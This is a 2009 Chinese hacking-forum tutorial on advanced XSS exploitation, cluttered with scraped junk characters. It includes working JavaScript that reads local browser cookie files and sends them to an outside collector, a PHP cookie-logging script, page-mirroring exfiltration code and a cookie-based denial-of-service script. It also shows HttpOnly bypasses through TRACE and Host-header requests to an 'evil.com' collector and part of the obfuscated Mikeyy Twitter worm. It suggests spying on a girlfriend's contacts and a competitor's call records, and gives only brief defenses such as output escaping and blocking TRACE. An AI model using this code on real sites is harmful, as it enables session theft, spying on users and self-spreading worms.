XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页8 Q0 e6 b9 H) g5 _5 ~4 ?3 ?- M
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页) l8 A7 {, Q8 j* O) c
By racle@tian6.com
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转帖请保留版权8 s2 @/ i8 p6 I" [
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, i5 t* r n. W- O" |. Q; Z& h-------------------------------------------前言---------------------------------------------------------5 d1 B& Z" q) p
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4 S g9 F- t3 w8 O本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
% [ V% w% ]0 E4 Shttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
0 \# J7 P" _5 T. g6 j; o. zhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
8 U! d2 l/ O; Q* Hhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
8 J! b# F, ]! i" e' Y# ehttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF; l0 P+ y; O% M
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码8 @! V1 s4 z* c7 N3 N5 K
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持/ {* T- e2 I, U0 r
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& s3 m' ~- x# C$ W3 n) h9 |1 }如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少., ~. P' a( X5 ]7 c6 }5 \+ D
$ b! R2 r' S0 ~9 ^* n- i希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.5 f7 }. L* H6 l6 v* O: d
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,! V4 }2 K0 O( Q* j3 p# ~9 y2 s. G
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.: e; x% e6 T h2 _0 z
7 f* V N8 B; B1 b8 LOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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! I N; z4 B! b: g复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.& D5 k1 g1 A% |% V( M7 V, E
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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! E' Y( X7 z) k* v9 E: s! T如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多." b' E3 L1 `3 j5 T. o: w
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
4 s" Q* u% q/ O9 W我们在这里重点探讨以下几个问题:
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3 j" a# _ n0 P1 通过XSS,我们能实现什么?
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) Y$ F v8 ~* c2 H4 p+ S% ?2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?- r& }8 F7 k9 j1 Z4 L
9 C% c) |2 f% _+ H0 ~% s: S. }3 XSS的高级利用和高级综合型XSS蠕虫的可行性?5 p0 X& z/ Z" j
$ }1 h) V% z) W; S. x4 XSS漏洞在输出和输入两个方面怎么才能避免.
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3 H( L f: C3 k' _% W------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫./ L, l5 _5 A9 J1 h8 K% d
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫7 w2 f) s- J. p% g/ G4 ?, j7 a2 j
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& m8 m5 i4 b- D4 }3 g/ q! E$ }1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 I1 a. e& t5 E8 q# n2 h- b2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.- |# L( w" b1 F3 ?% W- a' L
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.2 o2 C5 ^9 O7 O
4:Http-only可以采用作为COOKIES保护方式之一.+ h( ^2 `* I- j0 i8 I! P* F6 J# j8 c
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) \& f5 s% M& g4 F# I- k3 l0 y(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)/ s! @3 a9 k' ]7 n; O$ M
+ e. W+ _, v( v, t8 n' E( d, K我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!): T, w& H) x$ E( B
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。# C/ `' g. ~4 H- K
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# F" f4 w% i5 ]3 u# w 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
9 X& @" `+ D- I3 `复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){5 W% t# @5 }6 B* g, f' w! H' \5 V
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var request = false;: b$ g+ O( k m# w+ J# ]
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if(window.XMLHttpRequest) {( [) t. Z+ T( b- m9 b
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request = new XMLHttpRequest();3 e6 l& d5 c5 i; E+ [1 R2 l: v% Y
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} else if(window.ActiveXObject) {8 B9 \$ Y1 D. w! S2 L
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',! \: W( w: \# x) D
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, [' \2 P7 q5 K- p' O 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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}
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return request;
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var _x = ajax_obj(); `4 |- f; W/ s
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);2 W! X- o! V1 x# z4 K
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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. L" A3 t) [, g/ {2 H+ A _x.send(argv);
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@( n7 t+ Y3 x# Q' ]8 p var txt=_7or3("GET","file://localhost/C:/11.txt",null);1 _& y2 G0 h) m. o
7 _2 u. f# v5 Q( w/ q6 u1 I alert(txt);; c9 @5 `9 G# U; ?6 p2 m7 B: ]
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</script>
0 e0 [' p- l1 f- I/ s复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script># ?; y4 ~3 P$ e" V {
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function ajax_obj(){& s3 p+ i) _6 y8 g
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var request = false;
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if(window.XMLHttpRequest) {
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: X' _* T; o( `. B } else if(window.ActiveXObject) {( N6 E& T. l' A# C3 S9 m7 m
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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) _) b- @( i) L2 t3 ^ 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];' x2 x# g- Q# P( e) h
- b0 i6 Y! Z$ u4 W0 C: c; { for(var i=0; i<versions.length; i++) {
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try {
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request = new ActiveXObject(versions);
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} catch(e) {}, x4 n- q4 j5 B6 v, e5 a6 X
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function _7or3(_m,action,argv){* t2 k# K4 f( z/ u) y# b1 M3 `
1 Q4 a* i. z+ p _x.open(_m,action,false);
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! w, E/ [0 Z; I" Q3 y# C$ g; f7 t/ F. ~ if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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}
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var txt=_7or3("GET","1/11.txt",null);
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2 ^: q" o& L& |, Q$ D% G </script>
* |, F% A8 P0 z. {复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History" J$ t: r- V0 ?% U) q$ U
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<? $ x/ M1 s6 `5 b* q* O! s+ b/ r/ ?/ l. @
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/* 7 ]/ y( A$ g4 _. y& Q* A9 S
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www.inbreak.net % \0 R5 m# V7 v' T
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author voidloafer@gmail.com 2009-4-22
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. N, H2 |3 _7 K$ L1 a http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. , R+ N. l- G: W4 Y0 r! _( o
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i! J1 t( m/ z9 c+ T; ]header("Content-Disposition: attachment;filename=kxlzx.htm"); " ~" q" ~( G Y" I2 D, Q+ K
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header("Content-type: application/kxlzx");
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/*
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4 @6 f: \3 K. M$ a4 t! ] set header, so just download html file,and open it at local. & Z" T, y8 Q. H* I& b2 ^2 U
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 9 N8 ?/ S' @( T4 t2 ` l) c
& i/ ?6 ?( L" N" V <input id="input" name="cookie" value="" type="hidden">
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, a }+ d( F0 D$ |% I# n+ [! h</form> ' j4 d4 ~3 q, Y& t/ t
K8 \# {' }$ P% l6 T8 W<script> " y5 T7 m. T& |. Y+ X1 _( ~* I
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function doMyAjax(user) * Q0 Z: b$ m* T. c. l% N' j
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var time = Math.random(); ! ` h4 I/ J- @5 U h
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/*
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/ |! e, i, f3 Z( B' W% `8 q- ^+ cthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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8 }* f& K' ^' u8 s; Tand so on...
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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$ @9 a" m8 C7 j) j: A) sstartRequest(strPer); ) ^/ I0 a" L; r& y) V; f1 n
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1 o# n( C% z* Bfunction Enshellcode(txt)
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var url=new String(txt);
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$ V% ~& k/ w( _var i=0,l=0,k=0,curl=""; 5 O5 r7 D8 q7 C( \, [
5 r1 b" w0 `1 h: i3 @
l= url.length; + { C# D* E7 v
7 z6 B3 e% j6 F, D( s- F# x
for(;i<l;i++){ # K0 c+ h2 F w
& w3 b, J3 o3 F4 D' V/ Y& G' sk=url.charCodeAt(i); ; Y9 z; V! V: G% E& J& d; P. h" j3 o
9 [0 U! v0 F4 F" |0 z9 S9 D% t$ Q
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
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8 ~& y3 |& u$ ?' gcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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! Q; W7 w; W8 d5 jreturn curl;
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} . {: k5 A( G6 W/ O% ]% k* ~
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; z% ]2 d7 m0 ~6 P( x6 N" U " ?! F! {! G0 {
0 {/ Y- f5 ?5 T' J- G! v5 Zvar xmlHttp; ) ^% m$ V/ A9 o+ i8 k! g
& @+ ^1 A2 B3 [& y8 p i% k" Ofunction createXMLHttp(){
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if(window.XMLHttpRequest){ 5 W/ f% @' c" a8 F6 f
6 p! Y8 r( k0 k0 V5 ~xmlHttp = new XMLHttpRequest(); ( {6 i; ^( G- y% m2 \
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else if(window.ActiveXObject){
+ C6 l( s2 w7 U: A
$ j1 A4 [! }( _( ExmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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! f5 {: `; f/ X! d8 y}
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3 l) b6 V, ^& x& r8 ?. ^- ^ " K$ g9 p8 L( {' {' q
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function startRequest(doUrl){ 7 L p4 m3 R( S8 ?8 b/ {9 F
, p' ?: Q; t4 D' Z
% Q7 K% h8 l- c6 o) A
3 y4 j; h+ y( Y, o% X createXMLHttp(); ; N# R( R+ W) @ j. L+ q* {) U
: U+ O# |+ n+ t
/ o( b, F/ g. w
7 h3 I+ Z8 a2 E) j, _+ H L xmlHttp.onreadystatechange = handleStateChange;
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8 J$ U9 p& k- e; H( \& P* y) f xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); $ [3 l5 d8 Z6 I
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} 7 Y; h2 A# ^! K/ x+ L
% p+ T: S8 u. N: Z) w
! T& b2 Y6 T: w* _
. ?8 F7 n/ B2 H' c$ Ofunction handleStateChange(){
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+ y' ?- `8 u% `% V, y if (xmlHttp.readyState == 4 ){ 6 Y r: ^' F1 }% Q8 p
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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+ J( _* A8 @8 k5 T- _( w! j } 1 n) O2 l% z0 Z' P b, n8 ^, ]
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7 [. Y' H( ?; [# z& xfunction framekxlzxPost(text) - k1 L2 k- ]: R, w! i" O% f \0 t" U
5 A9 ^7 j, h# g3 C& T{ 4 ?/ c; s- m4 F/ l8 V
) j( j' C) Z, ]7 m4 b0 ^ document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit(); ) e- b6 J7 |4 G7 g
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doMyAjax("administrator"); " @* o: y# J$ o- |" L
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$ v2 p9 q& n" z, }) ?
* C% [7 T3 I5 L</script>$ ~# J5 V$ s5 x e4 v$ f
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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0 \' c2 B: f% w9 Y' P. Rvar xmlHttp; + l9 A2 ?4 r5 p: V5 h" y4 [. b
. e+ V" l& i, { L
function createXMLHttp(){ * ~/ {: U2 C6 K0 q: s
% n L4 o' f9 V, k& a) {
if(window.XMLHttpRequest){ 0 R0 S' @7 M N3 e3 ^
4 z0 R. [* `0 C1 @6 y t: Z E xmlHttp = new XMLHttpRequest(); & K7 ]8 a( ?, V8 C2 D
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}
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else if(window.ActiveXObject){ & P6 E+ O1 u- p6 _; Q. D
7 T0 _* \& C- n K4 C; `4 b xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); : K* a. `7 K' C+ ^
0 ^1 ?& T2 o7 J P( e; U- Y
} 2 p' r6 `- t$ P& @% _
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1 c R" M' l! e8 p+ ?" P! o& r( n4 }: W# ?/ h1 u0 h7 a
function startRequest(doUrl){
& S( D) D' ^6 u: H4 x; q/ Q# O+ v9 u5 L+ t5 {
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createXMLHttp();
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8 n. a& M6 y+ M5 _ xmlHttp.onreadystatechange = handleStateChange; ( ]+ k8 D# j: ]* f7 N. q
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xmlHttp.open("GET", doUrl, true); ) I; i8 ~2 e3 V8 j. n& ^* |
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% }- F4 R- o2 N$ G% o
& f m3 \1 ]# E4 f( \ xmlHttp.send(null);
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}
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! [6 Z8 D) l$ W) H$ d 6 A" u6 g L, c/ _' l- _
% G/ u. e( W+ C9 B ?% f1 dfunction handleStateChange(){
% X! _9 h: K2 o6 G& b& V! K
) q3 r; w% }( u+ P2 Y if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 4 [4 U5 R/ v" Z* j; n
3 h+ k! V( P! a
) V; { {& V, Z! c) G; U+ H$ m! A7 k1 q$ k( E
}
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}
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function doMyAjax(user,file)
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{
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var time = Math.random();
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! ]% S6 [9 E4 K* ~2 [' ?7 S var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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startRequest(strPer); + e: N E0 ]4 A2 ~. m4 t; U6 O
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+ u3 B h9 P. O) y! w# Y}
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2 s& ~% x) z! R5 B: P2 C, Z
2 [- d# G3 w: z! afunction framekxlzxPost(text)
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{ , S% W+ `0 ~+ [' a* a; x- F
- P) c1 i" \7 f1 H- m document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ' f# [; g3 k3 v) u& h, [4 ^# Y
4 b" }# \; U0 W( r( T! @1 o
alert(/ok/);
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3 s' n) p; T' c0 A) }
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doMyAjax('administrator','administrator@alibaba[1].txt');
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7 ~% P" {( [) G+ |</script>0 k& ]$ A) E B: T b
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4 i" a/ K( a' P. B
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a.php
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" U. W; ~; d# M<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 3 Q0 ?. X/ \! \5 X2 A" x+ v/ T7 {0 A
5 i1 M) v/ M7 f! [) ~; X$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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( J* p* h9 ]4 \. W$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 4 l7 N. ~* q; N4 F. T8 T
2 F0 R. r _; f3 |' ^5 h3 \( M$ ofwrite($fp,$_GET["cookie"]);
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fclose($fp); ( n" \$ F" l! d8 S4 U3 B5 b
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:7 ~. k4 k: X4 _$ \5 H
' P" b% E/ w1 l6 _7 h或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.% C7 `% D( t2 I+ r, H
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.5 [9 @5 s, \9 D( B' L
1 m; R. p, H S5 i) F! w' o. {代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);. e8 z" [# y! J( N4 o
- J0 D3 ^9 V! i' p//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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3 B3 E) b/ ^, }$ X- w/ L//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);5 W0 z7 j/ y5 U. Z& ]
. S) c9 B' w& ~function getURL(s) {8 v$ J6 J) l/ o, S7 w# C) A; E
2 s# U3 L; W# Avar image = new Image();+ a8 c9 N9 ]) ]* v% p. s
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image.style.width = 0;
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image.style.height = 0;7 T4 y. W& p* `+ u- u+ |1 U2 E
' s6 ]# A6 A5 B2 Q& \9 Jimage.src = s;
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* f6 m3 v3 n/ }& m
) q. d1 Z0 x1 @7 o+ n7 ?getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);% D! o! D) a$ v q2 I+ x
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.' U* K" v3 f0 c5 t3 ]
这里引用大风的一段简单代码:<script language="javascript">
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" g5 s+ {3 G4 x0 e9 C1 ~0 avar metastr = "AAAAAAAAAA"; // 10 A4 f" p) t! i' L B6 k, \% O1 j) C
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var str = "";" X" d; ?/ p1 a; V
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while (str.length < 4000){5 K0 a( v1 {: M5 d+ a# F
# v9 w5 K1 K+ ~5 p str += metastr;% a( `0 F% D6 P
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+ M# H, ~) L/ C- [/ v; tdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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! v* t5 Z6 }) u- f/ y</script>. a/ x; F3 l K, y8 C6 T
8 n% V7 [ I; H* X" c( S3 [& P详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
+ {1 D. j1 i* W4 b/ V/ M复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.* I3 H4 {5 |. N
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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+ x( h, o& X0 D& s8 D$ a4 x% g! R, X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* l% S' r2 h" P' P3 O$ b4 j攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:; t4 T0 F& P; M K. A# t; {; _
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.8 r1 m/ J. H2 P, o/ m% O& a! w( V |
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">9 b$ h4 ], s9 ]! {; Y4 ~2 o
( q1 `4 k* d m7 r8 \0 _1 `<!--* g! j. F4 K5 y0 u4 i' l8 @6 l
' c3 _( R5 T$ A% [7 h) G5 I1 zfunction normalCookie() { * V3 K( S( y+ v
2 D9 ^) b: r7 o' S/ ~ E6 X; xdocument.cookie = "TheCookieName=CookieValue_httpOnly"; , N- u# U& W \
+ I8 R( w5 y% D( malert(document.cookie);
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]) h/ Y1 D1 `7 L8 y8 O# s}
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: f1 a/ }. m8 |8 z/ \- z0 T1 h+ x) U0 }6 {4 G9 X; u3 _
function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; & o; Q- i+ V- _5 q- e
: \1 e& i) z6 u: t: Q
alert(document.cookie);}* V1 j" [- N K& h2 M' k
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7 y2 ?4 F/ h' x/ A9 ?//-->
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</script>$ g" l7 ^$ h; l& v
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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) o7 N# p4 i/ i. R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM># k6 A, `7 g2 q. @
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ f( _5 v* K- B: H" J
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' t8 E3 f7 v. d+ N1 C* kvar request = false;
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
+ j8 E" ~" D5 A0 { S
& X4 o$ Z" P, O( ` if(request.overrideMimeType) {) m9 e& _5 j$ S- v5 P
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request.overrideMimeType('text/xml');- C8 M) y! x* j0 q2 q
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}
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 Z% [3 e% ?, `+ F; l
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for(var i=0; i<versions.length; i++) {$ y" P( p) [. p3 g2 X
+ r) h* s3 c3 O" Q1 Q try {
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request = new ActiveXObject(versions);' X5 P6 a# D* Q: O
( Y. g, J% ]* x' M7 W a" H } catch(e) {}, O$ d+ r& i' Z- d7 C. N; o1 _
7 q; b2 f3 H4 J. C# ~9 R& |
}! ]' t( K+ [* D1 q
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}
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xmlHttp=request;
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6 Z3 A" C, Y. Y) ^xmlHttp.open("TRACE","http://www.vul.com",false);! k9 p( J' J/ X. {4 g; e3 F$ Y
; q6 ^" q" w/ f7 F- R$ q) ?xmlHttp.send(null);
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+ ?# s( B# `; l) @0 R% R# sxmlDoc=xmlHttp.responseText;+ |$ |, E! \5 ]
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alert(xmlDoc);
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</script>
$ D; p2 X. p2 U* u* O复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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3 _" A$ \! j% hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");3 c( N9 g: ^$ \7 L6 t1 V
: I( r$ V, b# zXmlHttp.open("GET","http://www.google.com",false);1 U, U. ~& t$ H
1 Z" ~5 Z; E4 f7 P# C5 x
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");8 X/ ]! S1 G7 {+ f' m _" [. Q
. k; o; ~1 Z; @* nXmlHttp.send(null);
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3 ]) m" p+ ^5 Evar resource=xmlHttp.responseText
3 _: C* M, ?. Y" z7 ]2 l
- a) }$ t; w& h$ w& Z0 Zresource.search(/cookies/);7 ]* T# s0 K( s
/ U* G6 \9 F$ t x( X- ^" r
......................
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</script>1 g% t. x9 }# ?3 K* c
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5 H J2 L( t+ ?$ p7 L7 i
, K. y% n' G+ H* |, [如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: x6 b- _1 i8 @+ \) [
) V# A0 ~7 x: k8 s[code]: i! w2 p, ]1 t9 G( @2 r7 L
1 S( Z% w6 o/ iRewriteEngine On
# \% t1 k( p3 E
/ y& T0 L9 ]3 Z' i$ p+ V( ARewriteCond %{REQUEST_METHOD} ^TRACE
$ ^2 F ]/ A" w, i' m& u4 P Z3 |4 M- B: F) @1 l
RewriteRule .* - [F]+ K$ s" m! w: P* L2 r
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& [4 j; g9 _' Z4 _
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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& k: n0 V, [# g) Y( y# zacl TRACE method TRACE! c7 y; }* w5 V. s
+ z2 |, I/ K7 r" M! ^- q
...8 S0 w% X7 c3 r2 O% u- c
( x- q9 f( o# I4 {+ fhttp_access deny TRACE9 F4 A, x* T' D, t, A* _- s7 R" }
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>+ y2 |- Z1 ^9 A6 _
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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+ a! ^* b$ Z" ]$ SXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");3 i0 ~; P# z- Y Z* N/ i7 D
* p; V( J1 {+ c M* [XmlHttp.send(null);
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+ b" F2 P8 a& m5 T! A</script>
7 M' @7 U2 H* {* r. V2 n1 X4 g, J复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");5 t9 O* H8 G0 b3 ?
: U7 D. T" U; {9 o- O _9 N% |0 k8 e) \' ?9 {# v- o
5 k6 b& C9 O2 lXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);& C4 L+ f0 I% @1 Y1 `- f) y- P
2 W4 @7 C2 g: c+ i) `- ^# t, nXmlHttp.send(null);
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<script>, i6 n+ G" a6 v! @
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% w5 v) F. a- A' k4 W复制代码案例:Twitter 蠕蟲五度發威
; d" }" [( S% t1 @2 m% r第一版:
6 E4 k2 u6 i& O% m% f; ^ 下载 (5.1 KB)
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", 